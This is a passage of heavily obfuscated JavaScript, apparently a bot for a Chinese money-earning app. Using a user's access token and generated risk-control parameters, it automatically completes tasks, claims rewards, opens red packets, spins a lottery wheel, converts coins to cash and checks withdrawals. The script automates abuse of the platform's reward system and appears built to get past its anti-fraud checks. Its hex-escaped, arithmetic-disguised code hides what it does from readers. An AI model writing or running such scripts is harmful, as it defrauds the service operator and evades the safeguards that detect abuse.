_0x526c60=_0x175a81['\x70\x72\x6f\x74\x6f'+'\x63\x6f\x6c\x49\x64'],_0x437b9b=_0x175a81['\x64\x61\x74\x61']||{},_0x8cc43a={'\x66\x6e':_0x2911b0[_0x221cf7(0x2a51)],'\x6d\x65\x74\x68\x6f\x64':_0x2911b0[_0x221cf7(0x258a)],'\x75\x72\x6c':_0x221cf7(0x3558)+_0x221cf7(0x2e2a)+'\x6d\x65\x2e\x6d\x65'+_0x221cf7(0x187f)+'\x2e\x63\x6f\x6d\x2f'+'\x65\x61\x72\x6e\x2d'+_0x221cf7(0x2e31)+'\x2f\x6d\x73\x67\x2f'+_0x221cf7(0x2272),'\x68\x65\x61\x64\x65\x72\x73':{'\x4f\x72\x69\x67\x69\x6e':_0x2911b0[_0x221cf7(0xaae)],'\x52\x65\x66\x65\x72\x65\x72':_0x2911b0['\x4d\x47\x73\x56\x59']},'\x73\x65\x61\x72\x63\x68\x50\x61\x72\x61\x6d\x73':{'\x79\x6f\x64\x61\x52\x65\x61\x64\x79':'\x68\x35','\x63\x73\x65\x63\x70\x6c\x61\x74\x66\x6f\x72\x6d':0x4,'\x63\x73\x65\x63\x76\x65\x72\x73\x69\x6f\x6e':_0x2911b0[_0x221cf7(0x285e)]},'\x6a\x73\x6f\x6e':{'\x61\x63\x54\x6f\x6b\x65\x6e':this[_0x221cf7(0x14a0)+'\x65\x6e'],'\x72\x69\x73\x6b\x50\x61\x72\x61\x6d\x73':await this['\x67\x65\x74\x5f\x61'+_0x221cf7(0x34e8)+'\x73\x6b\x46\x6f\x72'+'\x6d'](),'\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x49\x64':_0x526c60,'\x64\x61\x74\x61':_0x437b9b}};await _0x18d7a9[_0x221cf7(0xeb8)+'\x67\x61\x70\x5f\x69'+_0x221cf7(0x2f7d)+'\x61\x6c'](this[_0x221cf7(0xdde)+'\x6e\x44\x61\x69\x6c'+'\x79'],_0x3fdce2),_0x6b2d11=await this[_0x221cf7(0x734)+'\x73\x74'](_0x8cc43a),this[_0x221cf7(0xdde)+'\x6e\x44\x61\x69\x6c'+'\x79']=Date[_0x221cf7(0x3a9)]();}catch(_0x588db6){console[_0x221cf7(0x3e5)](_0x588db6);}finally{return _0x6b2d11;}}async['\x65\x61\x72\x6e\x44'+_0xcdce93(0x969)+_0xcdce93(0x3405)+_0xcdce93(0x155)](_0x49242a={}){const _0xc5a202=_0xcdce93,_0x29cb1a={};_0x29cb1a[_0xc5a202(0x2bd2)]=function(_0x3d29a0,_0xd05eab){return _0x3d29a0==_0xd05eab;},_0x29cb1a[_0xc5a202(0x1248)]=function(_0x93411b,_0x1979d9){return _0x93411b<_0x1979d9;},_0x29cb1a[_0xc5a202(0xf50)]=_0xc5a202(0x1e07),_0x29cb1a['\x4b\x46\x46\x71\x48']=function(_0x5a2414,_0x52d485){return _0x5a2414==_0x52d485;},_0x29cb1a['\x56\x48\x79\x49\x43']=function(_0x4ff9bd,_0x44a792){return _0x4ff9bd>_0x44a792;},_0x29cb1a[_0xc5a202(0x1459)]=function(_0x269d50,_0x23fec5){return _0x269d50/_0x23fec5;};const _0x301786=_0x29cb1a;try{const _0xb239e5={};_0xb239e5[_0xc5a202(0x14a0)+'\x65\x6e']=this[_0xc5a202(0x14a0)+'\x65\x6e'];const _0x2e1267={};_0x2e1267[_0xc5a202(0x1b3f)+_0xc5a202(0x17d5)]=0x3e9,_0x2e1267[_0xc5a202(0x1277)]=_0xb239e5;let _0x227f2d=_0x2e1267;{let {result:_0x5b8c2f}=await this[_0xc5a202(0xcf9)+'\x61\x69\x6c\x79\x50'+_0xc5a202(0xa61)](_0x227f2d),_0x2f0175=_0x18d7a9[_0xc5a202(0x33ab)](_0x5b8c2f,_0xc5a202(0x1e07),-(0xa77+0x6*0x153+-0x26*0x7c));if(_0x301786['\x52\x4c\x47\x75\x41'](_0x2f0175,0x15f5+0x14e*0x1a+-0xd9*0x41)){for(let _0x12ed71 of _0x5b8c2f?.[_0xc5a202(0x1277)]?.[_0xc5a202(0x36e)+'\x6e\x50\x6f\x70\x4d'+_0xc5a202(0x2f41)]?.[_0xc5a202(0x1d4e)+_0xc5a202(0xd0d)+_0xc5a202(0x2049)]||[]){_0x12ed71[_0xc5a202(0x1cd9)+'\x6e\x74']&&_0x12ed71[_0xc5a202(0x259b)]==0x18dd+-0x77c+0x1160*-0x1&&await this[_0xc5a202(0xcf9)+_0xc5a202(0x969)+_0xc5a202(0x2f74)]();}for(let _0x574377 of _0x5b8c2f?.[_0xc5a202(0x1277)]?.['\x74\x61\x73\x6b\x49'+_0xc5a202(0xa66)+'\x73\x74']||[]){switch(_0x574377['\x69\x64']){case 0x568+0x3*0x5e1+-0x13ff:case 0x297c+0x11cc+0x7*-0xb:case-0x3fe5+-0x586c+0xd3ff:break;default:_0x301786[_0xc5a202(0x1248)](_0x574377[_0xc5a202(0x2e31)+_0xc5a202(0x19a4)+_0xc5a202(0x896)+'\x73'],_0x574377[_0xc5a202(0x2e31)+_0xc5a202(0x1ffd)+_0xc5a202(0x22a0)+'\x73'])&&await this[_0xc5a202(0xcf9)+_0xc5a202(0x969)+_0xc5a202(0xaed)+'\x65\x77\x61\x72\x64'](_0x574377);for(let _0x4562d8=_0x574377[_0xc5a202(0x2e31)+'\x46\x69\x6e\x69\x73'+'\x68\x54\x69\x6d\x65'+'\x73'];_0x4562d8<_0x574377[_0xc5a202(0x173)+_0xc5a202(0x3aa)+'\x65\x49\x6e\x66\x6f']['\x63\x75\x72\x50\x65'+'\x72\x69\x6f\x64\x4d'+_0xc5a202(0x213)+_0xc5a202(0x23f2)+_0xc5a202(0x2391)];_0x4562d8++){await this['\x65\x61\x72\x6e\x44'+_0xc5a202(0x969)+'\x64\x6f\x5f\x74\x61'+'\x73\x6b'](_0x574377);}break;}}}else{let _0x2be9a2=_0x5b8c2f?.[_0xc5a202(0xc63)]||_0x5b8c2f?.[_0xc5a202(0x1d0e)]||'';this[_0xc5a202(0x3e5)](_0xc5a202(0x1be)+'\u8d25\x5b'+_0x2f0175+_0xc5a202(0x985)+_0x2be9a2);}}{let {result:_0xeaaaf7}=await this[_0xc5a202(0xcf9)+_0xc5a202(0x864)+_0xc5a202(0xa61)](_0x227f2d),_0x1aaf4c=_0x18d7a9[_0xc5a202(0x33ab)](_0xeaaaf7,_0x301786['\x51\x6a\x58\x6b\x41'],-(-0x1dfd+-0x2cb+0x20c9));if(_0x301786['\x4b\x46\x46\x71\x48'](_0x1aaf4c,-0x1e9*-0x1+-0x1dbf+-0x12*-0x197)){let _0x786532=_0xeaaaf7?.[_0xc5a202(0x1277)]?.[_0xc5a202(0x2afa)+'\x72\x42\x61\x73\x65'+_0xc5a202(0x2d51)]?.[_0xc5a202(0xceb)+_0xc5a202(0x267f)+'\x6e\x66\x6f']?.[_0xc5a202(0x235e)+_0xc5a202(0x798)+_0xc5a202(0x2cc3)+'\x6f\x75\x6e\x74']||-0x4fc+0x8*-0x2ef+0x1c74;this['\x6c\x6f\x67'](_0xc5a202(0xc0d)+_0x786532+_0xc5a202(0x1cd1));while(_0x786532-->-0x2*0x33d+0x3c1+0x2b9){await this[_0xc5a202(0xcf9)+_0xc5a202(0x969)+'\x72\x65\x64\x62\x61'+'\x67']();}}else{let _0x2f9ee9=_0xeaaaf7?.[_0xc5a202(0xc63)]||_0xeaaaf7?.[_0xc5a202(0x1d0e)]||'';this[_0xc5a202(0x3e5)]('\u67e5\u8be2\u7ea2\u5305\u6b21'+'\u6570\u5931\u8d25\x5b'+_0x1aaf4c+_0xc5a202(0x985)+_0x2f9ee9);}}{let {result:_0x31acc7}=await this['\x65\x61\x72\x6e\x44'+_0xc5a202(0x864)+_0xc5a202(0xa61)](_0x227f2d),_0x409b9c=_0x18d7a9[_0xc5a202(0x33ab)](_0x31acc7,_0x301786[_0xc5a202(0xf50)],-(-0x13*0x117+-0xa7c+0x1f32));if(_0x409b9c==0x32e+0xd*-0x181+-0x1127*-0x1){this['\x63\x61\x73\x68']=_0x31acc7?.[_0xc5a202(0x1277)]?.[_0xc5a202(0x2afa)+'\x72\x42\x61\x73\x65'+'\x4d\x6f\x64\x65\x6c']?.['\x61\x63\x74\x69\x76'+_0xc5a202(0x2242)+_0xc5a202(0x2a67)+'\x66\x6f']?.['\x63\x61\x73\x68\x54'+_0xc5a202(0x6e8)]||0x22ed*-0x1+0x8ed*-0x2+0x3b*0xe5,this[_0xc5a202(0x30f9)]=_0x31acc7?.[_0xc5a202(0x1277)]?.[_0xc5a202(0x2afa)+'\x72\x42\x61\x73\x65'+_0xc5a202(0x2d51)]?.[_0xc5a202(0x26c5)+_0xc5a202(0x2242)+_0xc5a202(0x2a67)+'\x66\x6f']?.[_0xc5a202(0x1a32)+_0xc5a202(0x6e8)]||0x2*0xa8a+0x1930+-0x2e44;_0x301786[_0xc5a202(0x3171)](this['\x63\x6f\x69\x6e'],0x6af+-0x150*0x1c+-0x1*-0x1e11)&&await this[_0xc5a202(0xcf9)+'\x61\x69\x6c\x79\x5f'+_0xc5a202(0x162)+'\x6e\x66\x6f']();const _0x216b63={};_0x216b63[_0xc5a202(0x1f61)+'\x79']=!![],this[_0xc5a202(0x3e5)]('\u6bcf\u65e5\u8d5a\u94b1\u4f59'+_0xc5a202(0xd34)+_0x301786[_0xc5a202(0x1459)](this[_0xc5a202(0x1769)],0x22b5*-0x1+0x830+0x1ae9)[_0xc5a202(0x1a13)+'\x65\x64'](0x72f*0x1+0x698+-0xdc5)+_0xc5a202(0x10fc)+this[_0xc5a202(0x30f9)]+'\u91d1\u5e01',_0x216b63);}else{let _0x25309c=_0x31acc7?.[_0xc5a202(0xc63)]||_0x31acc7?.[_0xc5a202(0x1d0e)]||'';this[_0xc5a202(0x3e5)](_0xc5a202(0x135)+_0xc5a202(0xda1)+'\x5b'+_0x409b9c+_0xc5a202(0x985)+_0x25309c);}}await this[_0xc5a202(0xcf9)+_0xc5a202(0x969)+_0xc5a202(0x2b1a)+'\x69\x74\x68\x64\x72'+_0xc5a202(0x1031)+'\x73\x74']();}catch(_0x2bee76){console[_0xc5a202(0x3e5)](_0x2bee76);}}async[_0xcdce93(0xcf9)+_0xcdce93(0x969)+_0xcdce93(0x162)+_0xcdce93(0x314a)](_0x5ad3b0={}){const _0x484b8e=_0xcdce93,_0x78bcdc={};_0x78bcdc[_0x484b8e(0x10d8)]=_0x484b8e(0x1e07),_0x78bcdc[_0x484b8e(0x2b03)]=function(_0xae0dcd,_0x583306){return _0xae0dcd==_0x583306;},_0x78bcdc['\x4e\x79\x6f\x4a\x54']=function(_0x49896f,_0x532e06){return _0x49896f>=_0x532e06;};const _0x2f451f=_0x78bcdc;try{const _0x46bb2a={};_0x46bb2a[_0x484b8e(0x1b3f)+'\x63\x6f\x6c\x49\x64']=0x3f7;let _0x5caff6=_0x46bb2a,{result:_0xdd148a}=await this[_0x484b8e(0xcf9)+_0x484b8e(0x864)+_0x484b8e(0xa61)](_0x5caff6),_0x4c0714=_0x18d7a9[_0x484b8e(0x33ab)](_0xdd148a,_0x2f451f[_0x484b8e(0x10d8)],-(0x6d1+0x19*-0x49+0x51));if(_0x2f451f[_0x484b8e(0x2b03)](_0x4c0714,0x2127*-0x1+0x7ea+0x1a05)){let _0x3bc402=_0xdd148a?.[_0x484b8e(0x1277)]?.[_0x484b8e(0x38f)+_0x484b8e(0x34a1)+_0x484b8e(0x7b2)+'\x74']?.[_0x484b8e(0x3c3)+'\x72'](_0x28ca82=>_0x28ca82[_0x484b8e(0x1131)]=='\u7ffb\u7ea2\u5305\u73b0\u91d1');if(!_0x3bc402['\x6c\x65\x6e\x67\x74'+'\x68'])return;let _0x2d0243=_0x3bc402[0x1df5+0x1*-0x15b+-0x1c9a];_0x2f451f['\x4e\x79\x6f\x4a\x54'](this['\x63\x6f\x69\x6e'],_0x2d0243['\x70\x72\x69\x63\x65'])&&await this[_0x484b8e(0xcf9)+_0x484b8e(0x969)+_0x484b8e(0x199c)+_0x484b8e(0x1f96)+'\x67\x65'](_0x2d0243);}else{let _0x245bbf=_0xdd148a?.['\x6d\x73\x67']||_0xdd148a?.['\x64\x65\x73\x63']||'';this[_0x484b8e(0x3e5)](_0x484b8e(0x3467)+_0x484b8e(0x2a09)+_0x4c0714+_0x484b8e(0x985)+_0x245bbf);}}catch(_0x55be2b){console[_0x484b8e(0x3e5)](_0x55be2b);}}async[_0xcdce93(0xcf9)+_0xcdce93(0x969)+_0xcdce93(0x199c)+'\x78\x63\x68\x61\x6e'+'\x67\x65'](_0x138b81,_0x523a38={}){const _0x10205d=_0xcdce93,_0x443c3a={};_0x443c3a[_0x10205d(0xcae)]=_0x10205d(0x1e07),_0x443c3a[_0x10205d(0x21c0)]=function(_0x2ddb79,_0x3d20c4){return _0x2ddb79==_0x3d20c4;};const _0x582e02=_0x443c3a;try{const _0x2d8dc0={};_0x2d8dc0['\x73\x6b\x75\x49\x64']=_0x138b81[_0x10205d(0xd6c)];const _0x18766b={};_0x18766b[_0x10205d(0x1b3f)+_0x10205d(0x17d5)]=0x3f8,_0x18766b[_0x10205d(0x1277)]=_0x2d8dc0;let _0x26754d=_0x18766b,{result:_0x1cef35}=await this[_0x10205d(0xcf9)+_0x10205d(0x864)+_0x10205d(0xa61)](_0x26754d),_0x3713c4=_0x18d7a9[_0x10205d(0x33ab)](_0x1cef35,_0x582e02['\x48\x75\x44\x70\x75'],-(0x1fc7+0xb10*0x2+0x35e6*-0x1));if(_0x582e02[_0x10205d(0x21c0)](_0x3713c4,0x2bd*-0x8+-0xb*0x3+0x16d1)){this[_0x10205d(0x1769)]=_0x1cef35?.['\x64\x61\x74\x61']?.[_0x10205d(0x26c5)+'\x69\x74\x79\x43\x79'+_0x10205d(0x2a67)+'\x66\x6f']?.[_0x10205d(0x1861)+'\x6f\x6b\x65\x6e']||0x1431*0x1+-0x1*0x1c7f+-0x2*-0x427,this[_0x10205d(0x30f9)]=_0x1cef35?.['\x64\x61\x74\x61']?.[_0x10205d(0x26c5)+_0x10205d(0x2242)+_0x10205d(0x2a67)+'\x66\x6f']?.['\x63\x6f\x69\x6e\x54'+_0x10205d(0x6e8)]||0x1fc*0xb+0x1*0x1106+-0x26da,this[_0x10205d(0x3e5)]('\u4f7f\u7528'+_0x138b81[_0x10205d(0x172e)]+('\u91d1\u5e01\u5151\u6362\u4f59'+_0x10205d(0x3261)+'\u5269\u4f59')+this['\x63\x6f\x69\x6e']+'\u91d1\u5e01');let _0x5dd41f=_0x1cef35?.[_0x10205d(0x1277)]?.[_0x10205d(0x38f)+'\x6e\x67\x65\x49\x6e'+_0x10205d(0x7b2)+'\x74']?.['\x66\x69\x6c\x74\x65'+'\x72'](_0x3bf400=>_0x3bf400['\x6e\x61\x6d\x65']==_0x10205d(0x298a));if(!_0x5dd41f[_0x10205d(0x326b)+'\x68'])return;let _0x31e3fd=_0x5dd41f[-0x5af+-0x33*0x7b+0x1e30];this['\x63\x6f\x69\x6e']>=_0x31e3fd['\x70\x72\x69\x63\x65']&&await this[_0x10205d(0xcf9)+_0x10205d(0x969)+'\x63\x6f\x69\x6e\x45'+_0x10205d(0x1f96)+'\x67\x65'](_0x31e3fd);}else{let _0x3b3de2=_0x1cef35?.['\x6d\x73\x67']||_0x1cef35?.[_0x10205d(0x1d0e)]||'';this['\x6c\x6f\x67']('\u4f7f\u7528'+_0x138b81[_0x10205d(0x172e)]+(_0x10205d(0x2567)+_0x10205d(0x1717))+_0x3713c4+_0x10205d(0x985)+_0x3b3de2);}}catch(_0x3e20f1){console['\x6c\x6f\x67'](_0x3e20f1);}}async[_0xcdce93(0xcf9)+_0xcdce93(0x969)+_0xcdce93(0x2f74)](_0x26eba4={}){const _0x4d7c51=_0xcdce93,_0x21111d={};_0x21111d['\x76\x78\x45\x73\x41']=_0x4d7c51(0x1e07),_0x21111d[_0x4d7c51(0x3a3)]=function(_0x247f84,_0xd1c0f9){return _0x247f84==_0xd1c0f9;};const _0x18dbf5=_0x21111d;try{const _0x278848={};_0x278848[_0x4d7c51(0x1b3f)+_0x4d7c51(0x17d5)]=0x3ef;let _0x311783=_0x278848,{result:_0x5abae4}=await this['\x65\x61\x72\x6e\x44'+_0x4d7c51(0x864)+_0x4d7c51(0xa61)](_0x311783),_0x4dd7ff=_0x18d7a9[_0x4d7c51(0x33ab)](_0x5abae4,_0x18dbf5['\x76\x78\x45\x73\x41'],-(0x2466+0x175c+0x13eb*-0x3));if(_0x18dbf5['\x63\x7a\x65\x5a\x61'](_0x4dd7ff,-0xb7*0x1d+-0x1*0x281+0x1804))this[_0x4d7c51(0x3e5)](_0x4d7c51(0x16a5)+'\x20'+(_0x5abae4?.[_0x4d7c51(0x1277)]?.[_0x4d7c51(0x328a)+'\x4e\x6f\x74\x69\x66'+_0x4d7c51(0xb74)+_0x4d7c51(0x2634)+'\x65\x6c\x4c\x69\x73'+'\x74']?.[_0x4d7c51(0x24c1)](_0x286f9b=>_0x286f9b[_0x4d7c51(0xadc)+'\x6e\x74'])?.[_0x4d7c51(0x3533)]('\x2c')||''));else{let _0x113a90=_0x5abae4?.[_0x4d7c51(0xc63)]||_0x5abae4?.[_0x4d7c51(0x1d0e)]||'';this['\x6c\x6f\x67'](_0x4d7c51(0x302a)+_0x4dd7ff+_0x4d7c51(0x985)+_0x113a90);}}catch(_0x326cb1){console[_0x4d7c51(0x3e5)](_0x326cb1);}}async[_0xcdce93(0xcf9)+'\x61\x69\x6c\x79\x5f'+_0xcdce93(0x1e93)+'\x73\x6b'](_0x45ea87,_0x26e052={}){const _0x503dfb=_0xcdce93,_0x5e2eaa={};_0x5e2eaa[_0x503dfb(0x1941)]=_0x503dfb(0x1e07);const _0x2c00d2=_0x5e2eaa;try{const _0x43eb06={};_0x43eb06[_0x503dfb(0x16d9)+'\x64']=_0x45ea87['\x69\x64'];const _0x2ef3a1={};_0x2ef3a1[_0x503dfb(0x1b3f)+_0x503dfb(0x17d5)]=0x3ec,_0x2ef3a1[_0x503dfb(0x1277)]=_0x43eb06;let _0x30b8a2=_0x2ef3a1,{result:_0x5dab4}=await this[_0x503dfb(0xcf9)+_0x503dfb(0x864)+_0x503dfb(0xa61)](_0x30b8a2),_0x271497=_0x18d7a9[_0x503dfb(0x33ab)](_0x5dab4,_0x2c00d2[_0x503dfb(0x1941)],-(0x1*0x164f+-0xb33*-0x2+-0x1*0x2cb4));if(_0x271497==-0x7c9*0x3+-0x1c89+0x4*0xd2b)this[_0x503dfb(0x3e5)](_0x503dfb(0x32c5)+(_0x45ea87?.[_0x503dfb(0x173)+'\x73\x6b\x42\x61\x73'+'\x65\x49\x6e\x66\x6f']?.[_0x503dfb(0x1a97)+'\x69\x74\x6c\x65']||_0x45ea87?.['\x69\x64'])+_0x503dfb(0xf0e)),await this[_0x503dfb(0xcf9)+'\x61\x69\x6c\x79\x5f'+_0x503dfb(0xaed)+'\x65\x77\x61\x72\x64'](_0x45ea87);else{let _0x35d23a=_0x5dab4?.[_0x503dfb(0xc63)]||_0x5dab4?.[_0x503dfb(0x1d0e)]||'';this['\x6c\x6f\x67']('\u5b8c\u6210\u4efb\u52a1\x5b'+(_0x45ea87?.[_0x503dfb(0x173)+_0x503dfb(0x3aa)+_0x503dfb(0x2e33)]?.['\x76\x69\x65\x77\x54'+_0x503dfb(0x25d4)]||_0x45ea87?.['\x69\x64'])+_0x503dfb(0x1935)+_0x271497+_0x503dfb(0x985)+_0x35d23a);}}catch(_0x3d4b8b){console[_0x503dfb(0x3e5)](_0x3d4b8b);}}async[_0xcdce93(0xcf9)+_0xcdce93(0x969)+'\x67\x65\x74\x5f\x72'+_0xcdce93(0x1070)](_0x5a8c31,_0x39dc32={}){const _0x1767ce=_0xcdce93,_0x1742c6={};_0x1742c6[_0x1767ce(0x2361)]=function(_0x4e5ff1,_0x2865c5){return _0x4e5ff1==_0x2865c5;};const _0x2f29eb=_0x1742c6;try{const _0x504d6c={};_0x504d6c[_0x1767ce(0x16d9)+'\x64']=_0x5a8c31['\x69\x64'];const _0xd6c4bc={};_0xd6c4bc[_0x1767ce(0x1b3f)+_0x1767ce(0x17d5)]=0x3ed,_0xd6c4bc[_0x1767ce(0x1277)]=_0x504d6c;let _0x9af5cc=_0xd6c4bc,{result:_0x52fb90}=await this[_0x1767ce(0xcf9)+_0x1767ce(0x864)+_0x1767ce(0xa61)](_0x9af5cc),_0x2f0564=_0x18d7a9['\x67\x65\x74'](_0x52fb90,_0x1767ce(0x1e07),-(-0x50e+-0x15c0+0x1*0x1acf));if(_0x2f29eb[_0x1767ce(0x2361)](_0x2f0564,0x1466+0x13d1+-0x276f*0x1))this[_0x1767ce(0x3e5)](_0x1767ce(0x2702)+_0x5a8c31[_0x1767ce(0x173)+_0x1767ce(0x3aa)+_0x1767ce(0x2e33)]['\x76\x69\x65\x77\x54'+'\x69\x74\x6c\x65']+'\x5d\u5956\u52b1\u6210\u529f');else{let _0x336faa=_0x52fb90?.['\x6d\x73\x67']||_0x52fb90?.[_0x1767ce(0x1d0e)]||'';this['\x6c\x6f\x67'](_0x1767ce(0x2702)+_0x5a8c31[_0x1767ce(0x173)+_0x1767ce(0x3aa)+_0x1767ce(0x2e33)][_0x1767ce(0x1a97)+_0x1767ce(0x25d4)]+(_0x1767ce(0x28e5)+'\x5b')+_0x2f0564+_0x1767ce(0x985)+_0x336faa);}}catch(_0xccb61e){console[_0x1767ce(0x3e5)](_0xccb61e);}}async[_0xcdce93(0xcf9)+'\x61\x69\x6c\x79\x5f'+'\x72\x65\x64\x62\x61'+'\x67'](_0x206f05={}){const _0x15c54d=_0xcdce93,_0x5d629c={};_0x5d629c[_0x15c54d(0x23c2)]=function(_0x109312,_0x471100){return _0x109312==_0x471100;};const _0x24c6ad=_0x5d629c;try{const _0x4467f7={};_0x4467f7[_0x15c54d(0x1b3f)+_0x15c54d(0x17d5)]=0x3f0;let _0x1f6c03=_0x4467f7,{result:_0x1e3678}=await this[_0x15c54d(0xcf9)+_0x15c54d(0x864)+_0x15c54d(0xa61)](_0x1f6c03),_0x2b47af=_0x18d7a9[_0x15c54d(0x33ab)](_0x1e3678,'\x63\x6f\x64\x65',-(-0x1*0xb66+-0x17d0+0x3*0xbbd));if(_0x2b47af==-0x11af+-0x194b+0x2bc2){let _0x3b87bd=_0x1e3678?.['\x64\x61\x74\x61']?.[_0x15c54d(0x1d4e)+'\x64\x4d\x6f\x64\x65'+_0x15c54d(0x2049)]?.[_0x15c54d(0x3c3)+'\x72'](_0x3d726c=>_0x3d726c['\x72\x65\x77\x61\x72'+_0x15c54d(0x31d4)])||[];if(_0x3b87bd[_0x15c54d(0x326b)+'\x68']){let _0x5420d2=_0x3b87bd[0xecf+-0x23a6+0x61*0x37];if(_0x5420d2['\x72\x65\x73\x6f\x75'+_0x15c54d(0x11f6)+'\x70\x65']==0x4*0x765+0x4ac+-0x1*0x223f)this['\x6c\x6f\x67'](_0x15c54d(0x3297)+'\x3a\x20'+(_0x5420d2[_0x15c54d(0x2ee9)+'\x74']/(0x3*-0x8f+-0x23d1*0x1+0x25e2))['\x74\x6f\x46\x69\x78'+'\x65\x64'](0x2601+0x2636+-0x4c35)+'\u5143');else _0x24c6ad[_0x15c54d(0x23c2)](_0x5420d2['\x72\x65\x73\x6f\x75'+_0x15c54d(0x11f6)+'\x70\x65'],0x69*0x56+0x5d5+-0x2919)?this['\x6c\x6f\x67'](_0x15c54d(0x3297)+'\x3a\x20'+_0x5420d2[_0x15c54d(0x2ee9)+'\x74']+'\u91d1\u5e01'):this[_0x15c54d(0x3e5)]('\u5f00\u7ea2\u5305\u83b7\u5f97'+'\x3a\x20'+JSON[_0x15c54d(0x15b2)+'\x67\x69\x66\x79'](_0x5420d2));}}else{let _0x48f397=_0x1e3678?.[_0x15c54d(0xc63)]||_0x1e3678?.[_0x15c54d(0x1d0e)]||'';this[_0x15c54d(0x3e5)]('\u5f00\u7ea2\u5305\u5931\u8d25'+'\x5b'+_0x2b47af+_0x15c54d(0x985)+_0x48f397);}}catch(_0x38aa8b){console[_0x15c54d(0x3e5)](_0x38aa8b);}}async['\x65\x61\x72\x6e\x44'+_0xcdce93(0x969)+_0xcdce93(0x217f)](_0x152b3c={}){const _0x4389ee=_0xcdce93,_0x4c72cf={};_0x4c72cf[_0x4389ee(0x336d)]=_0x4389ee(0x1e07),_0x4c72cf[_0x4389ee(0x1647)]=function(_0x20b12a,_0x4a90c5){return _0x20b12a==_0x4a90c5;};const _0x1db168=_0x4c72cf;try{const _0x319c03={};_0x319c03['\x70\x72\x6f\x74\x6f'+'\x63\x6f\x6c\x49\x64']=0x3f2;let _0x496a71=_0x319c03,{result:_0x4bcb37}=await this[_0x4389ee(0xcf9)+_0x4389ee(0x864)+_0x4389ee(0xa61)](_0x496a71),_0xcc1438=_0x18d7a9[_0x4389ee(0x33ab)](_0x4bcb37,_0x1db168[_0x4389ee(0x336d)],-(-0x1*-0x525+0x5*0x505+-0x1e3d));if(_0x1db168[_0x4389ee(0x1647)](_0xcc1438,-0x1d75+0xfc2+0xe7b)){let _0x82523a=_0x4bcb37?.[_0x4389ee(0x1277)]?.[_0x4389ee(0x1cd9)+_0x4389ee(0x9e8)+'\x61\x72\x64'];if(_0x82523a?.[_0x4389ee(0x1d4e)+'\x64\x65\x64\x43\x6f'+_0x4389ee(0x2c69)+'\x6f\x64\x65\x6c']){this[_0x4389ee(0x3e5)](_0x4389ee(0x1834)+'\x20'+_0x82523a['\x72\x65\x77\x61\x72'+_0x4389ee(0xe5a)+_0x4389ee(0x2c69)+_0x4389ee(0x2f41)]?.[_0x4389ee(0x9ea)+'\x6c\x65']+_0x82523a[_0x4389ee(0x1d4e)+_0x4389ee(0xe5a)+_0x4389ee(0x2c69)+'\x6f\x64\x65\x6c']?.[_0x4389ee(0x1131)]);return;}switch(_0x82523a?.[_0x4389ee(0x168b)+_0x4389ee(0x11f6)+'\x70\x65']){case-0x8db*0x2+0x9fd*-0x3+0x2fae:let _0x5118f4=((_0x82523a?.[_0x4389ee(0x2ee9)+'\x74']||0x19aa+-0x32c*0x1+0x1*-0x167e)/(0x90d+-0x207d+-0x7a*-0x32))[_0x4389ee(0x1a13)+'\x65\x64'](0xe5b+-0x9a9*-0x2+-0x21ab);this[_0x4389ee(0x3e5)]('\u8f6c\u76d8\u62bd\u5956\x3a'+'\x20'+_0x5118f4+'\u5143\u4f59\u989d');break;case-0xefa+-0x1*-0x88f+0x66d:this['\x6c\x6f\x67']('\u8f6c\u76d8\u62bd\u5956\x3a'+'\x20'+_0x82523a?.['\x61\x6d\x6f\x75\x6e'+'\x74']+'\u91d1\u5e01');break;case 0x749+-0x1*0x37f+0x3c7*-0x1:this[_0x4389ee(0x3e5)]('\u8f6c\u76d8\u62bd\u5956\x3a'+_0x4389ee(0x330e)+'\u673a\u4f1a');break;default:this[_0x4389ee(0x3e5)](_0x4389ee(0x1834)+'\x20'+JSON[_0x4389ee(0x15b2)+_0x4389ee(0x1209)](_0x4bcb37));break;}}else{let _0x5a9908=_0x4bcb37?.['\x6d\x73\x67']||_0x4bcb37?.[_0x4389ee(0x1d0e)]||'';this['\x6c\x6f\x67'](_0x4389ee(0x2d1)+'\u8d25\x5b'+_0xcc1438+_0x4389ee(0x985)+_0x5a9908);}}catch(_0x313340){console[_0x4389ee(0x3e5)](_0x313340);}}async[_0xcdce93(0xcf9)+_0xcdce93(0x969)+_0xcdce93(0x2b1a)+_0xcdce93(0x2483)+_0xcdce93(0x1031)+'\x73\x74'](_0xf729ba={}){const _0x116893=_0xcdce93,_0xcee698={};_0xcee698['\x4c\x71\x45\x6d\x67']='\x63\x6f\x64\x65',_0xcee698[_0x116893(0x23dc)]=function(_0x522a39,_0x1b6960){return _0x522a39==_0x1b6960;},_0xcee698[_0x116893(0x71e)]=function(_0x29a54e,_0x3a2fd4){return _0x29a54e/_0x3a2fd4;},_0xcee698[_0x116893(0x1fac)]='\x66\x61\x6c\x73\x65';const _0x51a5ef=_0xcee698;try{const _0x1b44f6={};_0x1b44f6['\x70\x72\x6f\x74\x6f'+_0x116893(0x17d5)]=0x3f4;let _0xe061a9=_0x1b44f6,{result:_0x27d04b}=await this[_0x116893(0xcf9)+_0x116893(0x864)+'\x6f\x73\x74'](_0xe061a9),_0x29d6dd=_0x18d7a9['\x67\x65\x74'](_0x27d04b,_0x51a5ef['\x4c\x71\x45\x6d\x67'],-(-0x1150+-0x59c*-0x6+-0x1057));if(_0x51a5ef[_0x116893(0x23dc)](_0x29d6dd,0x1a84+-0x11e6+-0x7d6)){let _0x21b5d4=_0x27d04b?.['\x64\x61\x74\x61']?.[_0x116893(0x26c5)+_0x116893(0x2242)+'\x63\x6c\x65\x49\x6e'+'\x66\x6f']?.[_0x116893(0x1861)+'\x6f\x6b\x65\x6e']||-0x17c2*-0x1+-0x156*-0x17+0x2c*-0x13d,_0x41b50e=_0x51a5ef[_0x116893(0x71e)](_0x21b5d4,-0x7d5+0x2*-0x22b+0x283*0x5)[_0x116893(0x1a13)+'\x65\x64'](0x17bf*-0x1+-0xeab+-0x1*-0x266c);this[_0x116893(0x3e5)]('\u7ea2\u5305\u4f59\u989d\x3a'+'\x20'+_0x41b50e+'\u5143');let _0x4a19ff=(_0x27d04b?.[_0x116893(0x1277)]?.[_0x116893(0x3088)+_0x116893(0x2ce3)]||[])[_0x116893(0x2f3d)](function(_0x2105d9,_0x2b31d9){const _0x127e05=_0x116893;return 